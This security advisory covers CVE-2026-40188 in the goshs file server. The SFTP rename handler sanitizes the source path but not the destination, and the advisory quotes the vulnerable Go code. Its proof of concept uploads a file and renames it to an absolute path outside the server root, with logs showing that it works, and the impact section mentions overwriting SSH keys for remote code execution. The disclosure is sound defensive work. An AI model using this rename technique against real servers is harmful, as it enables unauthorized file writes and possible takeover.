CVE-2026-40188

### Summary The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. ### Details Here is the issue: ```go // helper.go:155-215 func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error { fullPath, err := sanitizePath(r.Filepath, root) // Source: SANITIZED if err != nil { return err } switch r.Method { // ... case "Rename": err := os.Rename(fullPath, r.Target) // Destination: NOT SANITIZED! ``` ### PoC To exploit just upload a file on the SFTP and rename it to a file with full path. Currently no key.txt file inside /tmp ``` bash $ ls key.txt ls: key.txt: No such file or directory ``` Start the SFTP server: ``` bash /tmp/sftp-server $ goshs -sftp -b 'user:user' -d . WARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode WARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs. INFO [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022 WARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too. INFO [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user' INFO [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded INFO [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000 INFO [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000 INFO [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server ``` Connect to the SFTP and uploading the file: ``` bash $ sftp -P 2022 user@localhost user@localhost's password: Connected to localhost. sftp> put /Users/user/Downloads/key.txt Uploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt key.txt 100% 15 40.9KB/s 00:00 ``` The file is stored properly. goshs log: ``` INFO [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - "/tmp/sftp-server/key.txt" ``` Rename command with full path: ``` bash sftp> rename key.txt /tmp/key.txt ``` goshs log: ``` INFO [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - "/tmp/sftp-server/key.txt to /tmp/key.txt" ``` Key file is now in /tmp ``` $ ls key.txt key.txt ``` ### Impact This allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.

goshs is Missing Write Protection for Parametric Data Values in github.com/patrickhener/goshs